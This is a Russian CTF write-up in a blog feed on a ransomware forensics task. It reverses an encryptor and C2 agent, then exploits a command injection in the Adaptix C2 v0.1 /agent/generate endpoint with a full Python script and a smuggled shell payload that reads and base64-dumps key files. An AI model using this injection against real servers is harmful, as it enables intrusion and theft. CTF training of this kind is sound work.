<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Михаил</title><author><name>Михаил</name></author><id>https://teletype.in/atom/mixinspace</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/mixinspace?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@mixinspace?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=mixinspace"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/mixinspace?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-05-23T14:11:24.871Z</updated><entry><id>mixinspace:hack-na-lavandovom</id><link rel="alternate" type="text/html" href="https://teletype.in/@mixinspace/hack-na-lavandovom?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=mixinspace"></link><title>Хак на лавандовом</title><published>2026-04-29T03:39:20.962Z</published><updated>2026-04-29T03:43:37.522Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/b9/d5/b9d57f7b-02b0-4bf7-8185-7cbf4bab5d3d.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/13/04/1304b40c-aa25-41d6-8e41-f320cb3cae5d.png&quot;&gt;Сложность: Hard
Категории: Forensics, Linux, OSINT, Web
Автор задания: Никита Ильин (@yanik1ta), SPbCTF</summary><content type="html">
  &lt;h3 id=&quot;Tp8l&quot;&gt;АльфаЦТФ 2026&lt;/h3&gt;
  &lt;p id=&quot;21lb&quot;&gt;Сложность: Hard&lt;br /&gt;Категории: Forensics, Linux, OSINT, Web&lt;br /&gt;Автор задания: Никита Ильин (&lt;a href=&quot;https://t.me/yanik1ta&quot; target=&quot;_blank&quot;&gt;@yanik1ta&lt;/a&gt;), &lt;a href=&quot;https://t.me/spbctf&quot; target=&quot;_blank&quot;&gt;SPbCTF&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;yLhO&quot;&gt;Описание:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;D5d6&quot;&gt;Сегодня с утра вы, как обычно, зашли в любимую спешалти-кофейню Northwind Coffee Roasters за единственным в нашем городе рафом на лавандовом. Но в эту субботу что-то не так: у стойки стоит очередь, не движется. Бариста, обычно улыбчивая и быстрая, смотрит в экран кассы с выражением человека, который только что увидел, как его машина уезжает без него.&lt;/p&gt;
    &lt;p id=&quot;AiSz&quot;&gt;Оказалось, какой-то злодей зашифровал их сервер с кассой и всей бухгалтерией. Так дело не пойдёт, без кофе вы сегодня не уйдёте! Вы расталкиваете очередь и вызываетесь всё исправить и расшифровать.&lt;/p&gt;
    &lt;p id=&quot;v0VI&quot;&gt;Образ диска: &lt;a href=&quot;https://alfactf.ru/files/CAFE_DISK_IMAGE.7z&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;CAFE_DISK_IMAGE.7z&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;RMa2&quot;&gt;Шаг 1 - Первичный анализ&lt;/h2&gt;
  &lt;p id=&quot;4DSC&quot;&gt;Таск встречает нас двумя файлами образа диска в формате EnCase / Expert Witness Format (EWF). Откроем их в AutoPsy (можно и просто замонтировать в линукс) для первичного анализа файлов.&lt;/p&gt;
  &lt;p id=&quot;0FpV&quot;&gt;Сразу можно заметить много подозрительных файлов с расширением &lt;code&gt;GSenc&lt;/code&gt;, предположительно зашифрованных. Все они имеют одинаковую структуру и сигнатуру &lt;code&gt;HLF1&lt;/code&gt;. Дата и время шифрования файлов - &lt;code&gt;2026-03-22 20:44:43 MSK&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;sJ7R&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/28/2b/282b986d-f5d7-4f10-ac16-3cb74bf0c4a0.png&quot; width=&quot;684.5&quot; /&gt;
    &lt;figcaption&gt;Пример зашифрованного файла&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GxN2&quot;&gt;Поиск в интернете по сигнатуре файла, расширению по известным шифровальщикам результатов не дал, поэтому будем искать артефакты на хосте. &lt;/p&gt;
  &lt;p id=&quot;CZOt&quot;&gt;По пути /home/user/Documents/NorthwindCoffee/accounting/ был найден flag.txt.GSenc, предположительно флагстор таска.&lt;/p&gt;
  &lt;p id=&quot;rs11&quot;&gt;bash_history почищен, в других логах артефактов запуска подозрительных файлов также не обнаружено, но в &lt;code&gt;/var/tmp&lt;/code&gt; были обнаружены два файла:&lt;/p&gt;
  &lt;figure id=&quot;vJpq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/61/fe/61fe15ab-a9b2-4f5e-973b-0ecd2058ef9a.png&quot; width=&quot;579&quot; /&gt;
    &lt;figcaption&gt;Подозрительные файлы в /var/tmp&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ONHp&quot;&gt;Зареверсим их чтобы узнать, что они делают.&lt;/p&gt;
  &lt;h2 id=&quot;qCmX&quot;&gt;Шаг 2. Реверс вредоносов&lt;/h2&gt;
  &lt;p id=&quot;2jYW&quot;&gt;Начнем с GS-encrypt, судя по названию это шифровальщик, который и энкриптнул все данные. Так как наша основная цель - восстановить flag.txt, то нам надо понять как шифруются файлы и как их дешифровать.&lt;/p&gt;
  &lt;p id=&quot;vuis&quot;&gt;GS-encrypt - бинарник, написанный на GO.&lt;/p&gt;
  &lt;p id=&quot;20FD&quot;&gt;Судя по флагам программы, это действительно наш шифратор.&lt;/p&gt;
  &lt;figure id=&quot;60Lq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/ad/80adab9d-de57-488d-85ea-c708d6f61497.png&quot; width=&quot;1570&quot; /&gt;
    &lt;figcaption&gt;флаги программы&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NO1Y&quot;&gt;В нем используется RSA. В функции main_loadPublicKey у нас в память записывается строчка с публичным ключом RSA для шифрования.&lt;/p&gt;
  &lt;figure id=&quot;cmzb&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b0/7a/b07ae833-c24c-4448-9bc4-391ad0c87097.png&quot; width=&quot;2094&quot; /&gt;
    &lt;figcaption&gt;Публичный ключ RSA&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7PVZ&quot;&gt;Cхема шифрования следующая:&lt;/p&gt;
  &lt;p id=&quot;Rnwc&quot;&gt;Чтобы зашифровать файл надо:&lt;br /&gt;&lt;br /&gt;1. Использовать 32 случайных байта как AES_key для AES-256-GCM&lt;br /&gt;2. Сгенерировать случайный nonce длиной gcm.NonceSize()&lt;br /&gt;3. Зашифровать содержимое файла через AES-256-GCM&lt;br /&gt;4. Зашифровать AES_key публичным RSA-ключом через RSA-OAEP-SHA256&lt;br /&gt;5. Сформировать бинарный контейнер:&lt;/p&gt;
  &lt;p id=&quot;cV7l&quot;&gt;Формат выходного файла такой:&lt;/p&gt;
  &lt;p id=&quot;a6kx&quot;&gt;offset				size		field&lt;br /&gt;0x00				4 		magic&lt;br /&gt;0x04				1 			version&lt;br /&gt;0x05				1 			key algorithm id&lt;br /&gt;0x06 				1 			data algorithm id&lt;br /&gt;0x07 				2 		wrapped key length, uint16 big-endian&lt;br /&gt;0x09 				2 		nonce length, uint16 big-endian&lt;br /&gt;0x0B 				4 		ciphertext length, uint32 big-endian&lt;br /&gt;0x0F 				N 		RSA-OAEP-SHA256 encrypted AES key&lt;br /&gt;0x0F+N 			M 		AES-GCM nonce&lt;br /&gt;0x0F+N+M 	K 		AES-GCM ciphertext + GCM auth tag&lt;/p&gt;
  &lt;p id=&quot;iw7X&quot;&gt;Для расшифровки нужно:&lt;/p&gt;
  &lt;p id=&quot;nenD&quot;&gt;1. Прочитать первые 15 байт заголовка&lt;br /&gt;2. Проверить magic/version/algo ids&lt;br /&gt;3. Прочитать keyenc_len, nonce_len, ciphertext_len как big-endian&lt;br /&gt;4. Извлечь keyenc, nonce, ciphertext&lt;br /&gt;5. Расшифровать keyenc приватным RSA-ключом через RSA-OAEP-SHA256&lt;br /&gt;6. Получить AES_key&lt;br /&gt;7. Расшифровать ciphertext через AES-256-GCM с nonce и AAD=nil&lt;/p&gt;
  &lt;p id=&quot;gbhK&quot;&gt;Но в GS-encrypt приватного ключа RSA не найдено, идем дальше&lt;/p&gt;
  &lt;p id=&quot;KWPZ&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;naJp&quot;&gt;agent.bin - более объемный, выполняет роль c2 агента для удаленного доступа атакующего к системе. Самое интересное, что мы можем достать отсюда - IP адрес или домен C2 сервера.&lt;/p&gt;
  &lt;p id=&quot;VvDq&quot;&gt;в main_main вызывается net_Dial&lt;/p&gt;
  &lt;figure id=&quot;BCyR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/af/5a/af5a70c1-9e43-4b2b-b0cb-479d6fe9f683.png&quot; width=&quot;957&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aYQw&quot;&gt;которой в параметры передается ip/domain сервера, который хранится в qword_A23888.&lt;/p&gt;
  &lt;p id=&quot;LwGH&quot;&gt;До этого у нас вызывается gopher_utils_DecryptData, где первые 16 байт v0 - ключ, остальное данные.&lt;/p&gt;
  &lt;figure id=&quot;VkpG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/fd/58fd58f5-733b-424f-930f-8b8d3ddc975f.png&quot; width=&quot;1562&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yJls&quot;&gt;который после дешифровки кладет данные в Profile, Profile.Adresses которого потом как раз перемещается в qword_A23888&lt;/p&gt;
  &lt;p id=&quot;oL6E&quot;&gt;Данные которые дешифруются лежат в off_A17B30 -&amp;gt; off_A17B50 -&amp;gt; unk_9F59A0 &lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;qmiF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2b/f2/2bf2f969-8481-4d6c-8585-d464c1c1417f.png&quot; width=&quot;1440&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hKeK&quot;&gt;Первые 16 байт - ключ, оставшиеся - данные. Общее количество данных - 0xA7 (лежало в off_A17B50)&lt;/p&gt;
  &lt;p id=&quot;Kr2I&quot;&gt;Чтобы расшифровать, используем обычный AES-GCM, использующийся в gopher_utils_DecryptData. Первые 12 байт после key - nonce&lt;/p&gt;
  &lt;p id=&quot;xHeG&quot;&gt;key (16 bytes):&lt;br /&gt;51 D9 74 9D F3 F6 42 D1 CC E3 44 38 82 D3 E6 4E&lt;/p&gt;
  &lt;p id=&quot;EmUE&quot;&gt;nonce:&lt;br /&gt; 7E 11 7D 14 AF D7 3F 92 06 9E F2 FC&lt;/p&gt;
  &lt;p id=&quot;gcHK&quot;&gt;encrypted+tag:&lt;br /&gt; 6B E7 18 70 78 BC 17 09 E8 64 20 74 71 E0 C5 19 8C 64 93 DC&lt;br /&gt; 76 58 95 C4 6C 73 71 F7 DB 65 72 1D 6E 88 1D 13 6B C7 1C AB&lt;br /&gt; 26 8A 74 D9 EA A9 EF 2A 40 B8 69 7F DA C0 A1 19 D8 D0 73 81&lt;br /&gt; 36 48 4A C5 31 98 AE 16 87 DA 4F 50 BB BD BE C6 5B 55 7B F0&lt;br /&gt; F4 D6 41 AE C0 D7 7C F8 B9 DA 04 03 09 62 91 0F 49 33 73 B7&lt;br /&gt; AE A9 E9 E9 B8 0C 39 51 A0 B3 7A 8D 5C 56 41 05 24 3E 2F 5D&lt;br /&gt; 6D 06 FB 4D A5 5A A7 52 C2 CA 9B 00 79 53 0F 4E 31 5E E5&lt;/p&gt;
  &lt;p id=&quot;S3HE&quot;&gt;Расшифровав и распарсив msgpack, получаем &lt;/p&gt;
  &lt;pre id=&quot;vyj7&quot;&gt;{
  &amp;quot;type&amp;quot;: 2421052563,
  &amp;quot;addresses&amp;quot;: [
    &amp;quot;cc.gigashad.xyz:4444&amp;quot;
  ],
  &amp;quot;banner_size&amp;quot;: 17,
  &amp;quot;conn_timeout&amp;quot;: 10,
  &amp;quot;conn_count&amp;quot;: 1000000000,
  &amp;quot;use_ssl&amp;quot;: false,
  &amp;quot;ssl_cert&amp;quot;: null,
  &amp;quot;ssl_key&amp;quot;: null,
  &amp;quot;ca_cert&amp;quot;: null
}&lt;/pre&gt;
  &lt;p id=&quot;ORtA&quot;&gt;Нашли домен и порт c2 сервера, будем копать туда.&lt;/p&gt;
  &lt;h2 id=&quot;wd8R&quot;&gt;Шаг 3. Gigashad&lt;/h2&gt;
  &lt;p id=&quot;Gjo4&quot;&gt;На cc.gigashad.xyz уже ничего не висит, но на основном домене gigashad.xyz есть сайт, на котором есть ссылка на телеграм-канал атакующего.&lt;/p&gt;
  &lt;figure id=&quot;0zWN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fd/ea/fdea01ce-41ce-4a66-ae8f-7b07d5b35703.png&quot; width=&quot;1520&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gNUV&quot;&gt;В телеграм канале несколько постов, в том числе пост о взломе и шифровании хоста, образ которого у нас есть, несколько постов для наполнения, но самый примечательный из всех постов - туториал по установке Adaptix C2 сервера.&lt;/p&gt;
  &lt;figure id=&quot;ILCz&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/03/2e/032e824b-6842-45bd-b7a5-12324a1e3d04.png&quot; width=&quot;693&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ftvg&quot;&gt;В этом видео он &amp;quot;случайно&amp;quot; сливает важную информацию:&lt;/p&gt;
  &lt;p id=&quot;F3Ej&quot;&gt;Содержимое корневой директории&lt;/p&gt;
  &lt;figure id=&quot;Xqaa&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e9/73/e9730212-2202-4e52-8176-475b3afeae5d.png&quot; width=&quot;2269&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dRKd&quot;&gt;Дату съемки видео&lt;/p&gt;
  &lt;figure id=&quot;dlsl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/08/16/081648bb-9a33-4ca0-a3ae-0e9ead7bfd48.png&quot; width=&quot;162&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zFRY&quot;&gt;Запуск сервера на стандартном профиле&lt;/p&gt;
  &lt;figure id=&quot;dj6K&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7a/a3/7aa3eef6-3b58-4014-a1a1-a92d20b6ba97.png&quot; width=&quot;1554&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HJuo&quot;&gt;Пароль из 4 символов и имя аккаунта&lt;/p&gt;
  &lt;figure id=&quot;k0jj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d3/e0/d3e0f9b5-6c92-42b7-a2b7-74b5f2d7fb24.png&quot; width=&quot;739&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nKXr&quot;&gt;Все для подключения к серверу&lt;/p&gt;
  &lt;figure id=&quot;264w&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/69/13/691324a8-0819-427f-8706-995356fa03af.png&quot; width=&quot;721&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;2wnw&quot;&gt;Шаг 4. Adaptix C2 0.1&lt;/h2&gt;
  &lt;p id=&quot;RLrf&quot;&gt;Если мы перейдем по ссылке (которая тоже была в видео) на гитхаб Adaptix C2 сервера, то увидим, что 26.01.2025 вышла версия Adaptix C2 0.1&lt;/p&gt;
  &lt;p id=&quot;Nf3L&quot;&gt;Склоним, переключимся на этот коммит, забилдим и попытаемся подключиться к серверу:&lt;/p&gt;
  &lt;figure id=&quot;etxI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/33/b1/33b1b2b6-9fe6-47d9-a435-07261ca6f0e1.png&quot; width=&quot;737&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;U03N&quot;&gt;Пароль по умолчанию - pass&lt;/p&gt;
  &lt;p id=&quot;h7n0&quot;&gt;У нас действительно получилось подключиться, но клиент пустой, ничего нету, кроме попыток что-то сделать другими участниками.&lt;/p&gt;
  &lt;figure id=&quot;i6gR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/a8/70a8e986-fec7-4324-ad7a-71ea0e368b53.png&quot; width=&quot;1237&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5nm8&quot;&gt;Так как мы знаем что Adaptix C2 сервер запущен на хосте, где лежат DECRYPTION_KEYS, и единственный способ достучаться до этого хоста - через этот сервер, возникло предположение что в версии 0.1 существует некое RCE или задуманный функционал, позволяющий читать файлы на хосте.&lt;/p&gt;
  &lt;p id=&quot;52BJ&quot;&gt;Изучив исходный код сервера Adaptix v0.1 была найдена уязвимость типа command injection в ручке /agent/generate.&lt;/p&gt;
  &lt;p id=&quot;ONjM&quot;&gt;Изначально эта ручка должна была просто создавать бинарь под нужный listener, и отдать payload клиенту. Ручкой ожидался пейлоад типа:&lt;/p&gt;
  &lt;pre id=&quot;V07y&quot;&gt;{
  &amp;quot;os&amp;quot;: &amp;quot;windows&amp;quot;,
  &amp;quot;arch&amp;quot;: &amp;quot;x64&amp;quot;,
  &amp;quot;format&amp;quot;: &amp;quot;Exe&amp;quot;,
  &amp;quot;sleep&amp;quot;: &amp;quot;4s&amp;quot;,
  &amp;quot;jitter&amp;quot;: 0,
  &amp;quot;svcname&amp;quot;: &amp;quot;AgentService&amp;quot;
}&lt;/pre&gt;
  &lt;p id=&quot;3vuS&quot;&gt;Но поле svcname небезопасно подставлялось в команду, которая вызвается через exec.Command.&lt;/p&gt;
  &lt;p id=&quot;iAW0&quot;&gt;pl_agent.go&lt;/p&gt;
  &lt;pre id=&quot;s2we&quot; data-lang=&quot;go&quot;&gt;agentProfileSize := len(agentProfile) / 4
cmdConfig = fmt.Sprintf(&amp;quot;%s %s %s/config.cpp -DSERVICE_NAME=&amp;#x27;\&amp;quot;%s\&amp;quot;&amp;#x27; -DPROFILE=&amp;#x27;\&amp;quot;%s\&amp;quot;&amp;#x27; -DPROFILE_SIZE=%d -o %s/config.o&amp;quot;,
    Compiler, CFlag, ObjectDir, generateConfig.SvcName, string(agentProfile), agentProfileSize, tempDir)

runnerCmdConfig := exec.Command(&amp;quot;sh&amp;quot;, &amp;quot;-c&amp;quot;, cmdConfig)
runnerCmdConfig.Dir = currentDir
runnerCmdConfig.Stdout = &amp;amp;stdout
runnerCmdConfig.Stderr = &amp;amp;stderr
err = runnerCmdConfig.Run()
if err != nil {
    os.RemoveAll(tempDir)
    return nil, &amp;quot;&amp;quot;, errors.New(string(stderr.Bytes()))
}&lt;/pre&gt;
  &lt;p id=&quot;EO6D&quot;&gt;svcname подставлялось в команду вместо &lt;code&gt;-DSERVICE_NAME=&amp;#x27;\&amp;quot;%s\&amp;quot;&amp;#x27;&lt;/code&gt;, и если в svcname подать пейлоад типа &lt;code&gt;x&amp;#x27; ; ({cmd}) &amp;gt;&amp;amp;2; exit 1; #&lt;/code&gt;, то agent/generate вместо бинаря возвращал вывод команды cmd.&lt;/p&gt;
  &lt;p id=&quot;fLSk&quot;&gt;Перед отправлением этой команды, необходимо создать listener на /listener/create.&lt;/p&gt;
  &lt;p id=&quot;3SKn&quot;&gt;Это полный RCE на хосте атакующего, по факту можно было сделать все что угодно, но так как нам необходимы только ключи для нашего образа, вытащим их:&lt;/p&gt;
  &lt;pre id=&quot;3L5M&quot; data-lang=&quot;python&quot;&gt;import base64
import json
import secrets

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = &amp;quot;https://lab.gigashad.xyz:4321/endpoint&amp;quot;
DIR = &amp;quot;/DECRYPTION_KEYS/Northwind_Coffee_Roasters&amp;quot;

r = requests.post(f&amp;quot;{URL}/login&amp;quot;, json={&amp;quot;username&amp;quot;: &amp;quot;gigashad&amp;quot;, &amp;quot;password&amp;quot;: &amp;quot;pass&amp;quot;}, verify=False, timeout=15)
token = r.json()[&amp;quot;access_token&amp;quot;]
headers = {&amp;quot;Authorization&amp;quot;: f&amp;quot;Bearer {token}&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}

name = &amp;quot;L&amp;quot; + secrets.token_hex(4)
listener = {
    &amp;quot;host_bind&amp;quot;: &amp;quot;0.0.0.0&amp;quot;,
    &amp;quot;port_bind&amp;quot;: &amp;quot;9999&amp;quot;,
    &amp;quot;callback_port&amp;quot;: &amp;quot;9999&amp;quot;,
    &amp;quot;callback_servers&amp;quot;: &amp;quot;lab.gigashad.xyz&amp;quot;,
    &amp;quot;urn&amp;quot;: &amp;quot;/beacon.php&amp;quot;,
    &amp;quot;http_method&amp;quot;: &amp;quot;POST&amp;quot;,
    &amp;quot;hb_header&amp;quot;: &amp;quot;X-Beacon-Id&amp;quot;,
    &amp;quot;user_agent&amp;quot;: &amp;quot;Mozilla/5.0&amp;quot;,
    &amp;quot;host_header&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;request_headers&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;x-forwarded-for&amp;quot;: False,
    &amp;quot;page-error&amp;quot;: &amp;quot;404&amp;quot;,
    &amp;quot;page-payload&amp;quot;: &amp;quot;OK &amp;lt;&amp;lt;&amp;lt;PAYLOAD_DATA&amp;gt;&amp;gt;&amp;gt; DONE&amp;quot;,
    &amp;quot;server_headers&amp;quot;: &amp;quot;&amp;quot;,
}
requests.post(
    f&amp;quot;{URL}/listener/create&amp;quot;,
    headers=headers,
    json={&amp;quot;name&amp;quot;: name, &amp;quot;type&amp;quot;: &amp;quot;external/http/BeaconHTTP&amp;quot;, &amp;quot;config&amp;quot;: json.dumps(listener)},
    verify=False,
    timeout=20,
)

svc = f&amp;quot;x&amp;#x27; ; (cat {DIR}/* | base64 -w0) &amp;gt;&amp;amp;2; exit 1; #&amp;quot;
agent = {
    &amp;quot;listener_name&amp;quot;: name,
    &amp;quot;listener_type&amp;quot;: &amp;quot;external/http/BeaconHTTP&amp;quot;,
    &amp;quot;agent&amp;quot;: &amp;quot;beacon&amp;quot;,
    &amp;quot;config&amp;quot;: json.dumps({&amp;quot;os&amp;quot;: &amp;quot;windows&amp;quot;, &amp;quot;arch&amp;quot;: &amp;quot;x64&amp;quot;, &amp;quot;format&amp;quot;: &amp;quot;Exe&amp;quot;, &amp;quot;sleep&amp;quot;: &amp;quot;1s&amp;quot;, &amp;quot;jitter&amp;quot;: 0, &amp;quot;svcname&amp;quot;: svc}),
}
r = requests.post(f&amp;quot;{URL}/agent/generate&amp;quot;, headers=headers, json=agent, verify=False, timeout=60)
data = [x.strip() for x in r.json()[&amp;quot;message&amp;quot;].splitlines() if x.strip()][-1]

open(&amp;quot;recovered_keys.bin&amp;quot;, &amp;quot;wb&amp;quot;).write(base64.b64decode(data))
print(&amp;quot;saved recovered_keys.bin&amp;quot;)&lt;/pre&gt;
  &lt;p id=&quot;vUzK&quot;&gt;В recovered_keys.bin будет содержание и приватного, и публичного ключа для расшифровки GSenc файлов.&lt;/p&gt;
  &lt;h2 id=&quot;nT8P&quot;&gt;Шаг 5. Финал&lt;/h2&gt;
  &lt;p id=&quot;jIpp&quot;&gt;Осталось лишь написать дешифатор для расшифровки файлов из образа:&lt;/p&gt;
  &lt;pre id=&quot;sFW8&quot; data-lang=&quot;python&quot;&gt;import argparse
import re
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA


def load_private_key(path: Path):
    data = path.read_text(&amp;quot;utf-8&amp;quot;, errors=&amp;quot;ignore&amp;quot;)
    m = re.search(
        r&amp;quot;-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----&amp;quot;,
        data,
        re.S,
    )
    if not m:
        raise ValueError(&amp;quot;private RSA key not found&amp;quot;)
    return RSA.import_key(m.group(0))


def parse_gsenc(data: bytes):
    if len(data) &amp;lt; 15:
        raise ValueError(&amp;quot;file too short&amp;quot;)
    if data[:4] != b&amp;quot;HFL1&amp;quot;:
        raise ValueError(&amp;quot;bad magic&amp;quot;)

    version = data[4]
    key_algo = data[5]
    data_algo = data[6]
    key_len = int.from_bytes(data[7:9], &amp;quot;big&amp;quot;)
    nonce_len = int.from_bytes(data[9:11], &amp;quot;big&amp;quot;)
    ct_len = int.from_bytes(data[11:15], &amp;quot;big&amp;quot;)

    if version != 1 or key_algo != 1 or data_algo != 1:
        raise ValueError(f&amp;quot;unsupported header: version={version} key_algo={key_algo} data_algo={data_algo}&amp;quot;)

    pos = 15
    keyenc = data[pos:pos + key_len]
    pos += key_len
    nonce = data[pos:pos + nonce_len]
    pos += nonce_len
    ciphertext = data[pos:pos + ct_len]

    if len(keyenc) != key_len or len(nonce) != nonce_len or len(ciphertext) != ct_len:
        raise ValueError(&amp;quot;truncated container&amp;quot;)
    return keyenc, nonce, ciphertext


def decrypt_file(enc_path: Path, key_path: Path, out_path: Path):
    keyenc, nonce, ciphertext = parse_gsenc(enc_path.read_bytes())
    priv = load_private_key(key_path)
    aes_key = PKCS1_OAEP.new(priv, hashAlgo=SHA256).decrypt(keyenc)
    plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ciphertext[:-16], ciphertext[-16:])
    out_path.write_bytes(plain)
    return plain


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&amp;quot;enc&amp;quot;, nargs=&amp;quot;?&amp;quot;, default=&amp;quot;flag.txt.GSenc&amp;quot;)
    ap.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;recovered_keys.bin&amp;quot;)
    ap.add_argument(&amp;quot;-o&amp;quot;, &amp;quot;--out&amp;quot;)
    a = ap.parse_args()

    enc = Path(a.enc)
    out = Path(a.out or enc.with_suffix(&amp;quot;&amp;quot;))
    plain = decrypt_file(enc, Path(a.key), out)
    print(f&amp;quot;saved {out}&amp;quot;)
    try:
        print(plain.decode())
    except UnicodeDecodeError:
        print(plain)


if __name__ == &amp;quot;__main__&amp;quot;:
    main()&lt;/pre&gt;
  &lt;p id=&quot;l2bP&quot;&gt;После расшифровки flag.txt.GSenc, получили флаг:&lt;/p&gt;
  &lt;figure id=&quot;P1nx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/49/10/4910c05d-779e-4106-bacf-6cb7ca085584.png&quot; width=&quot;757&quot; /&gt;
  &lt;/figure&gt;

</content></entry></feed>